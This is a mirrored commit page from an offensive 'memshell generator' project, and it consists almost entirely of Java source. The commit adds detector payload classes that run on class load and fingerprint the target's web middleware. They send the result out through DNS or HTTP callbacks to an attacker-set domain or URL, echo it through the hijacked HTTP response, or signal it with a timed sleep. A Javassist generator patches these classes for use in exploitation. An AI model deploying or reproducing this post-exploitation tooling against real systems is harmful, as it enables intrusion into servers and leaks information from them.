mirror of
https://github.com/pen4uin/java-memshell-generator.git
synced 2026-09-22 01:30:43 +08:00
add: 扩展模块(探测中间件/序列化封装)
This commit is contained in:
@@ -0,0 +1,28 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<parent>
|
||||
<groupId>jmg</groupId>
|
||||
<artifactId>java-memshell-generator</artifactId>
|
||||
<version>${project.build.version}</version>
|
||||
</parent>
|
||||
|
||||
<artifactId>jmg-extender</artifactId>
|
||||
|
||||
<properties>
|
||||
<maven.compiler.source>8</maven.compiler.source>
|
||||
<maven.compiler.target>8</maven.compiler.target>
|
||||
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
|
||||
</properties>
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>jmg</groupId>
|
||||
<artifactId>jmg-core</artifactId>
|
||||
<version>${project.build.version}</version>
|
||||
<scope>compile</scope>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
|
||||
</project>
|
||||
@@ -0,0 +1,151 @@
|
||||
package jmg.extender.detector;
|
||||
|
||||
import java.io.PrintWriter;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
|
||||
public class DFSEchoDetector {
|
||||
static HashSet<Object> h;
|
||||
static ClassLoader cl = Thread.currentThread().getContextClassLoader();
|
||||
static Class hsr;//HTTPServletRequest.class
|
||||
static Class hsp;//HTTPServletResponse.class
|
||||
static Object r;
|
||||
static Object p;
|
||||
|
||||
static {
|
||||
new DFSEchoDetector();
|
||||
}
|
||||
|
||||
private static String server_type = "none";
|
||||
|
||||
|
||||
public DFSEchoDetector() {
|
||||
initServerType();
|
||||
r = null;
|
||||
p = null;
|
||||
h =new HashSet<Object>();
|
||||
try {
|
||||
hsr = cl.loadClass("javax.servlet.http.HttpServletRequest");
|
||||
hsp = cl.loadClass("javax.servlet.http.HttpServletResponse");
|
||||
} catch (ClassNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
F(Thread.currentThread(),0);
|
||||
}
|
||||
|
||||
private static boolean i(Object obj){
|
||||
if(obj==null|| h.contains(obj)){
|
||||
return true;
|
||||
}
|
||||
|
||||
h.add(obj);
|
||||
return false;
|
||||
}
|
||||
private static void p(Object o, int depth){
|
||||
if(depth > 52||(r !=null&& p !=null)){
|
||||
return;
|
||||
}
|
||||
if(!i(o)){
|
||||
if(r ==null&&hsr.isAssignableFrom(o.getClass())){
|
||||
r = o;
|
||||
//Tomcat特殊处理
|
||||
try {
|
||||
Method getResponse = r.getClass().getMethod("getResponse");
|
||||
p = getResponse.invoke(r);
|
||||
} catch (Exception e) {
|
||||
r=null;
|
||||
}
|
||||
|
||||
}else if(p ==null&&hsp.isAssignableFrom(o.getClass())){
|
||||
p = o;
|
||||
}
|
||||
if(r !=null&& p !=null){
|
||||
try {
|
||||
PrintWriter pw = (PrintWriter)hsp.getMethod("getWriter").invoke(p);
|
||||
pw.println(server_type);
|
||||
pw.flush();
|
||||
pw.close();
|
||||
|
||||
}catch (Exception e){
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
F(o,depth+1);
|
||||
}
|
||||
}
|
||||
private static void F(Object start, int depth){
|
||||
|
||||
Class n=start.getClass();
|
||||
do{
|
||||
for (Field declaredField : n.getDeclaredFields()) {
|
||||
declaredField.setAccessible(true);
|
||||
Object o = null;
|
||||
try{
|
||||
o = declaredField.get(start);
|
||||
|
||||
if(!o.getClass().isArray()){
|
||||
p(o,depth);
|
||||
}else{
|
||||
for (Object q : (Object[]) o) {
|
||||
p(q, depth);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}catch (Exception e){
|
||||
}
|
||||
}
|
||||
|
||||
}while(
|
||||
(n = n.getSuperclass())!=null
|
||||
);
|
||||
}
|
||||
|
||||
public static void initServerType() {
|
||||
Map<Thread, StackTraceElement[]> stackTraces = Thread.getAllStackTraces();
|
||||
for (Map.Entry<Thread, StackTraceElement[]> entry : stackTraces.entrySet()) {
|
||||
StackTraceElement[] stackTraceElements = entry.getValue();
|
||||
for (StackTraceElement element : stackTraceElements) {
|
||||
if (element.getClassName().contains("org.apache.catalina.core")) {
|
||||
server_type = "tomcat";
|
||||
return;
|
||||
}
|
||||
if (element.getClassName().contains("weblogic.servlet.internal")) {
|
||||
server_type = "weblogic";
|
||||
return;
|
||||
}
|
||||
if (element.getClassName().contains("com.caucho.server")) {
|
||||
server_type = "resin";
|
||||
return;
|
||||
}
|
||||
if (element.getClassName().contains("org.eclipse.jetty.server")) {
|
||||
server_type = "jetty";
|
||||
return;
|
||||
}
|
||||
if (element.getClassName().contains("com.ibm.ws")) {
|
||||
server_type = "websphere";
|
||||
return;
|
||||
}
|
||||
if (element.getClassName().contains("io.undertow.server")) {
|
||||
server_type = "undertow";
|
||||
return;
|
||||
}
|
||||
if (element.getClassName().contains("com.tongweb.web")) {
|
||||
server_type = "tongweb";
|
||||
return;
|
||||
}
|
||||
if (element.getClassName().contains("com.apusic.web")) {
|
||||
server_type = "apusic";
|
||||
return;
|
||||
}
|
||||
if (element.getClassName().contains("org.springframework.web")) {
|
||||
server_type = "spring";
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
package jmg.extender.detector;
|
||||
|
||||
import java.net.InetAddress;
|
||||
import java.net.UnknownHostException;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Map;
|
||||
|
||||
public class DNSLogDetector {
|
||||
|
||||
static {
|
||||
new DNSLogDetector();
|
||||
}
|
||||
|
||||
public DNSLogDetector(){
|
||||
sendServerType();
|
||||
}
|
||||
|
||||
public static String getDomain(){
|
||||
return "";
|
||||
}
|
||||
|
||||
private static void sendServerType() {
|
||||
ArrayList<String> serverTypes = getServerType();
|
||||
String dns_domain = getDomain();
|
||||
String domain = "";
|
||||
try {
|
||||
for (int i = 0; i < serverTypes.size(); i++) {
|
||||
Object obj = serverTypes.get(i);
|
||||
domain = String.format("%s.%d.%s",obj,System.nanoTime(),dns_domain);
|
||||
InetAddress.getAllByName(domain);
|
||||
}
|
||||
} catch (UnknownHostException e) { }
|
||||
}
|
||||
|
||||
public static ArrayList<String> getServerType() {
|
||||
ArrayList<String> serverTypes = new ArrayList<>();
|
||||
Map<Thread, StackTraceElement[]> stackTraces = Thread.getAllStackTraces();
|
||||
for (Map.Entry<Thread, StackTraceElement[]> entry : stackTraces.entrySet()) {
|
||||
StackTraceElement[] stackTraceElements = entry.getValue();
|
||||
for (StackTraceElement element : stackTraceElements) {
|
||||
if (element.getClassName().contains("org.apache.catalina.core")) {
|
||||
serverTypes.add("tomcat");
|
||||
}
|
||||
if (element.getClassName().contains("weblogic.servlet.internal")) {
|
||||
serverTypes.add("weblogic");
|
||||
}
|
||||
if (element.getClassName().contains("com.caucho.server")) {
|
||||
serverTypes.add("resin");
|
||||
}
|
||||
if (element.getClassName().contains("org.eclipse.jetty.server")) {
|
||||
serverTypes.add("jetty");
|
||||
}
|
||||
if (element.getClassName().contains("com.ibm.ws")) {
|
||||
serverTypes.add("websphere");
|
||||
}
|
||||
if (element.getClassName().contains("io.undertow.server")) {
|
||||
serverTypes.add("undertow");
|
||||
}
|
||||
if (element.getClassName().contains("com.tongweb.web")) {
|
||||
serverTypes.add("tongweb");
|
||||
}
|
||||
if (element.getClassName().contains("com.apusic.web")) {
|
||||
serverTypes.add("apusic");
|
||||
}
|
||||
if (element.getClassName().contains("org.springframework.web")) {
|
||||
serverTypes.add("spring");
|
||||
}
|
||||
}
|
||||
if (serverTypes.size() > 7){
|
||||
return serverTypes;
|
||||
}
|
||||
}
|
||||
|
||||
if(serverTypes.size() == 0){
|
||||
serverTypes.add("none");
|
||||
}
|
||||
|
||||
return serverTypes;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,86 @@
|
||||
package jmg.extender.detector;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.UnknownHostException;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
public class HTTPLogDetector {
|
||||
|
||||
static {
|
||||
new HTTPLogDetector();
|
||||
}
|
||||
|
||||
|
||||
public HTTPLogDetector() {
|
||||
sendServerType();
|
||||
}
|
||||
|
||||
public static String getBaseURL() {
|
||||
return "";
|
||||
}
|
||||
|
||||
|
||||
private static void sendServerType() {
|
||||
ArrayList<String> serverTypes = getServerType();
|
||||
String baseurl = getBaseURL();
|
||||
try {
|
||||
for (int i = 0; i < serverTypes.size(); i++) {
|
||||
Object server_type = serverTypes.get(i);
|
||||
String tmpUrl = String.format("%s/%s", baseurl, server_type);
|
||||
new java.net.URL(tmpUrl).getContent();
|
||||
}
|
||||
} catch (UnknownHostException ignored) {
|
||||
} catch (IOException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static ArrayList<String> getServerType() {
|
||||
ArrayList<String> serverTypes = new ArrayList<>();
|
||||
Map<Thread, StackTraceElement[]> stackTraces = Thread.getAllStackTraces();
|
||||
for (Map.Entry<Thread, StackTraceElement[]> entry : stackTraces.entrySet()) {
|
||||
StackTraceElement[] stackTraceElements = entry.getValue();
|
||||
for (StackTraceElement element : stackTraceElements) {
|
||||
if (element.getClassName().contains("org.apache.catalina.core")) {
|
||||
serverTypes.add("tomcat");
|
||||
}
|
||||
if (element.getClassName().contains("weblogic.servlet.internal")) {
|
||||
serverTypes.add("weblogic");
|
||||
}
|
||||
if (element.getClassName().contains("com.caucho.server")) {
|
||||
serverTypes.add("resin");
|
||||
}
|
||||
if (element.getClassName().contains("org.eclipse.jetty.server")) {
|
||||
serverTypes.add("jetty");
|
||||
}
|
||||
if (element.getClassName().contains("com.ibm.ws")) {
|
||||
serverTypes.add("websphere");
|
||||
}
|
||||
if (element.getClassName().contains("io.undertow.server")) {
|
||||
serverTypes.add("undertow");
|
||||
}
|
||||
if (element.getClassName().contains("com.tongweb.web")) {
|
||||
serverTypes.add("tongweb");
|
||||
}
|
||||
if (element.getClassName().contains("com.apusic.web")) {
|
||||
serverTypes.add("apusic");
|
||||
}
|
||||
if (element.getClassName().contains("org.springframework.web")) {
|
||||
serverTypes.add("spring");
|
||||
}
|
||||
}
|
||||
if (serverTypes.size() > 7){
|
||||
return serverTypes;
|
||||
}
|
||||
}
|
||||
|
||||
if(serverTypes.size() == 0){
|
||||
serverTypes.add("none");
|
||||
}
|
||||
|
||||
return serverTypes;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
package jmg.extender.detector;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
public class SleepDetector {
|
||||
|
||||
static {
|
||||
new SleepDetector();
|
||||
}
|
||||
|
||||
public SleepDetector() {
|
||||
initServerType();
|
||||
}
|
||||
|
||||
public static String getServerType() {
|
||||
return "tomcat";
|
||||
}
|
||||
|
||||
private static void execSleep() {
|
||||
try {
|
||||
Thread.sleep(5000);
|
||||
} catch (Exception e) {
|
||||
}
|
||||
}
|
||||
|
||||
public static void initServerType() {
|
||||
String target_server_type = getServerType();
|
||||
Map<Thread, StackTraceElement[]> stackTraces = Thread.getAllStackTraces();
|
||||
for (Map.Entry<Thread, StackTraceElement[]> entry : stackTraces.entrySet()) {
|
||||
StackTraceElement[] stackTraceElements = entry.getValue();
|
||||
for (StackTraceElement element : stackTraceElements) {
|
||||
if (target_server_type.equals("tomcat") && element.getClassName().contains("org.apache.catalina.core")) {
|
||||
execSleep();
|
||||
return;
|
||||
}
|
||||
if (target_server_type.equals("weblogic") && element.getClassName().contains("weblogic.servlet.internal")) {
|
||||
execSleep();
|
||||
return;
|
||||
}
|
||||
if (target_server_type.equals("resin") && element.getClassName().contains("com.caucho.server")) {
|
||||
execSleep();
|
||||
return;
|
||||
}
|
||||
if (target_server_type.equals("jetty") && element.getClassName().contains("org.eclipse.jetty.server")) {
|
||||
execSleep();
|
||||
return;
|
||||
}
|
||||
if (target_server_type.equals("websphere") && element.getClassName().contains("com.ibm.ws")) {
|
||||
execSleep();
|
||||
return;
|
||||
}
|
||||
if (target_server_type.equals("undertow") && element.getClassName().contains("io.undertow.server")) {
|
||||
execSleep();
|
||||
return;
|
||||
}
|
||||
if (target_server_type.equals("tongweb") && element.getClassName().contains("com.tongweb.web")) {
|
||||
execSleep();
|
||||
return;
|
||||
}
|
||||
if (target_server_type.equals("apusic") && element.getClassName().contains("com.apusic.web")) {
|
||||
execSleep();
|
||||
return;
|
||||
}
|
||||
if (target_server_type.equals("spring") && element.getClassName().contains("org.springframework.web")) {
|
||||
execSleep();
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
package jmg.extender.generator;
|
||||
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import jmg.core.config.Constants;
|
||||
import jmg.core.util.CtClassUtil;
|
||||
import jmg.core.util.JavassistUtil;
|
||||
import jmg.extender.util.DetectorUtil;
|
||||
|
||||
/**
|
||||
* 中间件/框架探测器
|
||||
*/
|
||||
public class ExtenderGenerator {
|
||||
|
||||
public byte[] makeShell(AbstractConfig config) throws Exception {
|
||||
String detectorClassName = DetectorUtil.getDetectorClassName(config.getDetectWay());
|
||||
byte[] bytes = Utils.generate(detectorClassName, config);
|
||||
config.setExtenderBytes(bytes);
|
||||
config.setExtenderBytesLength(bytes.length);
|
||||
return bytes;
|
||||
}
|
||||
|
||||
|
||||
public static class Utils {
|
||||
@SuppressWarnings("unchecked")
|
||||
private final static ClassPool pool = ClassPool.getDefault();
|
||||
private static byte[] bytes;
|
||||
|
||||
public static byte[] generate(String detectorClassName, AbstractConfig config) throws Exception {
|
||||
pool.insertClassPath(new ClassClassPath(ExtenderGenerator.class));
|
||||
CtClass ctClass = pool.getCtClass(detectorClassName);
|
||||
JavassistUtil.setNameIfNotNull(ctClass, config.getExtenderClassName());
|
||||
if (config.getDetectWay().contains(Constants.DETECT_DNS)) {
|
||||
if (config.getDnsDomain() != null) {
|
||||
CtMethod getDomain = ctClass.getDeclaredMethod("getDomain");
|
||||
getDomain.setBody(String.format("{return \"%s\";}", config.getDnsDomain()));
|
||||
}
|
||||
} else if (config.getDetectWay().contains(Constants.DETECT_HTTP)) {
|
||||
if (config.getDnsDomain() != null) {
|
||||
CtMethod getBaseURL = ctClass.getDeclaredMethod("getBaseURL");
|
||||
getBaseURL.setBody(String.format("{return \"%s\";}", config.getBaseUrl()));
|
||||
}
|
||||
} else if (config.getDetectWay().contains(Constants.DETECT_SLEEP)) {
|
||||
if (config.getSleepTime() != null) {
|
||||
CtMethod getSeconds = ctClass.getDeclaredMethod("execSleep");
|
||||
getSeconds.setBody(String.format("try{java.lang.Thread.sleep(%sL);}catch (Exception e){}", Integer.valueOf(config.getSleepTime()) * 1000));
|
||||
}
|
||||
if (config.getServerType() != null) {
|
||||
CtMethod getServerType = ctClass.getDeclaredMethod("getServerType");
|
||||
getServerType.setBody(String.format("{return \"%s\";}", config.getServerType().toLowerCase()));
|
||||
}
|
||||
}
|
||||
JavassistUtil.setNameIfNotNull(ctClass, config.getExtenderClassName());
|
||||
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||
bytes = new CtClassUtil(config, pool, ctClass).modifyForExploitation();
|
||||
ctClass.detach();
|
||||
|
||||
return bytes;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
package jmg.extender.util;
|
||||
|
||||
import jmg.core.config.Constants;
|
||||
import jmg.extender.detector.DFSEchoDetector;
|
||||
import jmg.extender.detector.DNSLogDetector;
|
||||
import jmg.extender.detector.HTTPLogDetector;
|
||||
import jmg.extender.detector.SleepDetector;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class DetectorUtil {
|
||||
|
||||
private static final Map<String, String> DETECTOR_CLASSNAME_MAP = new HashMap();
|
||||
|
||||
public DetectorUtil() {
|
||||
}
|
||||
|
||||
public static String getDetectorClassName(String detectWay) throws Exception {
|
||||
if (DETECTOR_CLASSNAME_MAP.get(detectWay) == null) {
|
||||
throw new Exception("Invalid detect way '" + detectWay + "'");
|
||||
} else {
|
||||
return DETECTOR_CLASSNAME_MAP.getOrDefault(detectWay, "");
|
||||
}
|
||||
}
|
||||
|
||||
static {
|
||||
DETECTOR_CLASSNAME_MAP.put(Constants.DETECT_DFSECHO, DFSEchoDetector.class.getName());
|
||||
DETECTOR_CLASSNAME_MAP.put(Constants.DETECT_DNS, DNSLogDetector.class.getName());
|
||||
DETECTOR_CLASSNAME_MAP.put(Constants.DETECT_HTTP, HTTPLogDetector.class.getName());
|
||||
DETECTOR_CLASSNAME_MAP.put(Constants.DETECT_SLEEP, SleepDetector.class.getName());
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user